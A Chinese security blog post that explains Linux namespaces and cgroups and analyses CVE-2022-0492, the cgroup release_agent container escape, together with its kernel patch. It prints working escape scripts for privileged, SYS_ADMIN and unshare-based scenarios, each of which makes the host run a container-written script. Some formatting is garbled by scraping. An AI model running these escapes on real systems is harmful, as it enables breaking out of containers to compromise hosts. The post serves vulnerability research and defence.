本文作者 图南
引言:从2019年关注的第一个容器逃逸类型的漏洞写出CVE-2019-5736 runc容器逃逸漏洞分析后,我对容器类漏洞的敏感度一直没有降低,并且非常碎片的学习容器和云原生相关的各种原理性知识,笔记记了一大堆,乱七八糟,不成体系。
一直想整理一系列容器相关的文章,包括与容器相关的Linux feature原理总结、写一个简单的容器、几枚容器逃逸漏洞的分析和对比、容器逃逸的特点和共性,到云原生相关的概念和知识,服务网格、K8S相关的安全研究以及各种弱点分析等,其实选题有些过于广泛了,以至于每一个小点我都想挖得很深(不知道这样是不是适得其反总之我有这样的毛病,大家也可以告诉我最想先看到哪个),系列文章被我拖成大概每月几百字的更新速度,不知何时能写完。恰巧近期有一枚和容器逃逸相关的漏洞:CVE-2022-0492 Linux内核权限提升漏洞可导致容器(namespace)意外逃逸。我想以这篇水文为起点引出一些粗浅的知识或许是个好的开始?如果你恰好有兴趣了解一二,就可以继续读一些段落。因为我也是以自己的知识体系学习新的知识,如有纰漏还望指教。
声明:本篇文章由 @图南 原创,首发于【跳跳糖社区】,仅用于技术研究,不恰当使用会造成危害,严禁违法使用 ,否则后果自负。
-
Docker容器本质是宿主机的进程
-
通过Namespace实现资源隔离
-
通过cgroups实现了资源限制
Linux Namespace aka. 命名空间
Linux 命名空间的6大隔离
|
|
|
|
|
nodename 和domainname |
|
|
|
|
|
|
|
|
cgroups
以下探讨的cgroup均为cgroup-v1版本,cgroup-v2有些变化不适用于本次讨论
-
cpu子系统,主要限制进程的cpu使用率
-
cpuacct子系统,可以统计cgroups中的进程的cpu使用报告
-
cpuset子系统,可以为cgroups中的进程分配单独的cpu节点或者内存节点
-
memory子系统,可以限制进程的memory使用量
-
blkio子系统,可以限制进程的块设备io
-
devices子系统,可以控制进程能够访问哪些设备
-
net_cls子系统,可以标记cgroups中进程的网络数据包,然后可以使用tc模块(traffic control)对数据包进行控制
-
freezer子系统,可以挂起或者恢复cgroups中的进程
-
ns 子系统,可以使不同cgroups下面的进程使用不同的 namespace cgroup控制器以树状的层级结构所组织。他们以虚拟文件系统的形式出现,权限足够的用户可以创建、删除、重命名他们,每一层的控制器中都定义了资源的相关限制和控制等属性。
cgroups的使用
<subsystem>
为cgroup子系统名称,<name>
为挂载名称,<path>
为挂载路径。cgroup.procs
文件中,命令如下:echo <PID> > <cgroup-mount-path>/cgroup.procs
<PID>
为要加入cgroup子系统的进程/进程组ID, <cgroup-mount-path>
为对应子系统的挂载目录。/sys/fs/cgroup
目录中,这个操作是由systemd[2]完成的。但是这个自动挂载目录的操作权限较高,用户也可以自行将cgroups虚拟文件系统挂载到用户权限可及的目录下。-
tasks:加入到此cgroup子系统中的进程,以PID列表的形式存储
-
cgroup.procs:加入此cgroup中的进程/进程组列表
-
notify_on_release:用于标记当此cgroup子系统的所有进程都退出后是否运行release_agent程序,0为默认不运行,1为运行,如果在当前子系统中新建了子系统,则默认继承这个配置
-
release_agent(只存在顶层cgroup子系统中):当上面的notify_on_release设置为1时,此cgroup子系统的所有进程都退出后以内核权限运行的程序
docker run --privileged --name test-nginx-privileged -d nginx
)启动的Nginx Docker容器中的CPU子系统包含的内容和部分配置值:特权容器中的逃逸骚姿势(此时不是漏洞)
Quick and dirty way to get out of a privileged k8s pod or docker container by using cgroups release_agent feature.
cgroup_dir=/sys/fs/cgroup/rdma # 选择一个包含release_agent的cgroup子系统控制器,默认只有rdma合适,可以使用cgroup_dir=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`进行查找和定位
mkdir -p $cgroup_dir/test_subsystem # 在其中创建一个子系统test_subsystem
echo 1 >$cgroup_dir/test_subsystem/notify_on_release # 将test_subsystem子系统中的notify_on_release配置为1用来在全部进程都退出该cgroup子系统后触发内核调用release_agent
host_overlay2_fs_dir=`sed -n 's/.*upperdir=([^,]*).*/1/p' /etc/mtab` # 从/etc/mtab中提取upperdir,此路径指向宿主机的Overlay2fs文件系统的挂载点,容器内rootfs未提交的文件变动都会在此体现
echo '#!/bin/sh' > /script # 在容器根目录下创建script文件并写入执行脚本(Payload)
echo "touch /hacked_by_tunan_use_cg_notify_on_release_and_privileged_containter" >> /script # 在容器根目录下创建script文件并写入执行脚本(Payload)
echo "$host_overlay2_fs_dir/script" > $cgroup_dir/release_agent # 将host_overlay2_fs_dir与script目录拼接,目的是在notify_on_release运行时指向容器外的宿主机中的script文件
chmod a+x /script # 给script增加执行权限
sh -c "echo $$ > $cgroup_dir/test_subsystem/cgroup.procs" # 将一个执行即退出的进程ID写入到此cgroup子系统的cgroup.procs中去触发notify_on_release,在这里写入的是sh进程自己的PID
逃逸效果如图:
cgroup_dir=/sys/fs/cgroup/rdma
,找到一个包含release_agent
的目录,由前面的cgroups知识得知,notify_on_release的触发条件需要同时满足子系统下notify_on_release文件值为1并且他的最顶层子系统有可执行的release_agent
文件。notify_on_release文件在每一个层级的子系统中都有,但是release_agent
文件不是每个顶层子系统都有的。直接创建release_agent文件会提示权限不足:dirname $(ls -x /s*/fs/c*/*/r* |head -n1)
进行查找和定位。mkdir -p $cgroup_dir/test_subsystem
,在刚刚找到的子系统下创建一个自定义的子系统,名字随意。这里我们能观察到当执行mkdir的时候并不像平时那样创建一个新的空文件目录,而是把此子系统需要的属性虚拟文件全都自动创建了:echo 1
>$cgroup_dir/test_subsystem/notify_on_release
,将刚刚创建的test_subsystem子系统中的notify_on_release
文件配置为1用来在全部进程都退出该cgroup子系统后触发内核调用release_agent。这个比较好理解,不做过多解释了。lowerdir
,上层目录称为upperdir
。合并后的称为merged
。lowerdir
一般存储的是镜像相关的层,**upperdir
一般存储的是运行中的未提交容器层**,他们都被挂载到了宿主机的文件系统中:/etc/mtab
文件来找到此容器对应的lowerdir
和upperdir
。upperdir
中映射了容器运行时变动的内容 :host_overlay2_fs_dir=
sed -n 's/.*upperdir=([^,])./1/p' /etc/mtab,找到宿主机上的
upperdir`挂载目录。echo '#!/bin/sh' > /script;echo "touch /hacked_by_tunan_use_cg_notify_on_release_and_privileged_containter" >> /script
,在容器内部创建Payload。echo "$host_overlay2_fs_dir/script" > $cgroup_dir/release_agent
,把Payload目录路径写入release_agent
。chmod a+x /script
添加执行权限。sh -c "echo $$
>$cgroup_dir/test_subsystem/cgroup.procs"
添加一个执行后就退出的进程到新创建的cgroup子系统中来触发notify_on_release。docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined --name test-nginx-sys-admin -d nginx
)。/sys/fs/cgroup
目录下,这个自动挂载目录的操作权限较高,用户也可以自行将cgroups虚拟文件系统挂载到用户权限可及的目录下。于是PoC修改如下: mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup # 增加挂载cgroups文件系统操作
cgroup_dir=/tmp/cgroup # 修改cgroup_dir对应目录路径
mkdir -p $cgroup_dir/test_subsystem_1
echo 1 >$cgroup_dir/test_subsystem_1/notify_on_release
host_overlay2_fs_dir=`sed -n 's/.*upperdir=([^,]*).*/1/p' /etc/mtab`
echo '#!/bin/sh' > /script
echo "touch /hacked_by_tunan_use_cg_notify_on_release_and_sys_admin_containter" >> /script
echo "$host_overlay2_fs_dir/script" > $cgroup_dir/release_agent
chmod a+x /script
sh -c "echo $$ > $cgroup_dir/test_subsystem_1/cgroup.procs"
关闭两大安全特性的逃逸姿势(此时是漏洞了)
clone
、setns
、unshare
,这三个方式的区别如下图:unshare -UrmC bash # 通过unshare创建新的Namespace,隔离用户、映射root用户、隔离mount和cgroup并运行bash。
mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup # 增加挂载cgroups文件系统操作
cgroup_dir=/tmp/cgroup # 修改cgroup_dir对应目录路径
mkdir -p $cgroup_dir/test_subsystem_2
echo 1 >$cgroup_dir/test_subsystem_2/notify_on_release
host_overlay2_fs_dir=`sed -n 's/.*upperdir=([^,]*).*/1/p' /etc/mtab`
echo '#!/bin/sh' > /script
echo "touch /hacked_by_tunan_use_cg_notify_on_release_and_no_sec_containter" >> /script
echo "$host_overlay2_fs_dir/script" > $cgroup_dir/release_agent
chmod a+x /script
sh -c "echo $$ > $cgroup_dir/test_subsystem_2/cgroup.procs"
补丁分析[6]
kernel/cgroup/cgroup-v1.c
文件中,也验证了这个漏洞是Linux内核漏洞而不是Docker和容器本身的漏洞。补丁限制了配置release_agaent的权限。-
容器本身配置不安全,如使用特权容器或关闭了某些安全功能。
-
利用容器和容器相关组件(runc)本身的漏洞,这类漏洞的本质是资源隔离过程中的不完善。如CVE-2019-5736的
/proc/self/fd/${fd}
意外指向了宿主机二进制文件和CVE-2021-30465在某些特定(非常苛刻)的条件下意外把宿主机文件系统挂载进了容器内部。 -
利用Linux内核的一些特性或内核漏洞、或者某些软件和应用、在容器内部“借刀杀人”。通常需要结合第一点即容器具有一些系统级别的权限如特权容器或关闭某些安全功能,但也不排除有未探索到的绕过默认安全特性的可能。
1. CGROUPS[8]
2. Linux资源管理之cgroups简介[9]
3.unshare(1) — Linux manual page[10]
4. cgroups(7) — Linux manual page[11]
5. Use the OverlayFS storage driver[12]
6. index : kernel/git/torvalds/linux.git[13]
7. Seccomp security profiles for Docker[14]
8. AppArmor security profiles for Docker[15]
10. Understanding Docker container escapes[16]
11. Namespaces in operation, part 2: the namespaces API[17]
12. Namespaces in operation, part 1: namespaces overview[18]
13. CVE-2022-0492: Privilege escalation vulnerability causing container escape[19]
14. runc mount destinations can be swapped via symlink-exchange to cause mounts outside the rootfs (CVE-2021-30465)[20]
引用链接
[1]
Namespaces in operation, part 1: namespaces overview: https://lwn.net/Articles/531114/[2]
systemd: https://man7.org/linux/man-pages/man1/systemd.1.html[3]
Understanding Docker container escapes: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/[4]
SYS_ADMIN下的容器逃逸姿势(此时还不是漏洞): https://tttang.com/archive/1484/#toc_sys_admin[5]
Understanding Docker container escapes: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/[6]
补丁分析: https://tttang.com/archive/1484/#toc__2[7]
CVE-2021-30465 runc竞争条件漏洞: http://blog.champtar.fr/runc-symlink-CVE-2021-30465/[8]
CGROUPS: https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt[9]
Linux资源管理之cgroups简介: https://tech.meituan.com/2015/03/31/cgroups.html[10]
unshare(1) — Linux manual page: https://man7.org/linux/man-pages/man1/unshare.1.html[11]
cgroups(7) — Linux manual page: https://man7.org/linux/man-pages/man7/cgroups.7.html#CGROUPS_VERSION_1[12]
Use the OverlayFS storage driver: https://docs.docker.com/storage/storagedriver/overlayfs-driver/#how-the-overlay2-driver-works[13]
index : kernel/git/torvalds/linux.git: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af[14]
Seccomp security profiles for Docker: https://docs.docker.com/engine/security/seccomp/[15]
AppArmor security profiles for Docker: https://docs.docker.com/engine/security/apparmor/[16]
Understanding Docker container escapes: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/[17]
Namespaces in operation, part 2: the namespaces API: https://lwn.net/Articles/531381/[18]
Namespaces in operation, part 1: namespaces overview: https://lwn.net/Articles/531114/[19]
CVE-2022-0492: Privilege escalation vulnerability causing container escape: https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/[20]
runc mount destinations can be swapped via symlink-exchange to cause mounts outside the rootfs (CVE-2021-30465): http://blog.champtar.fr/runc-symlink-CVE-2021-30465/- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论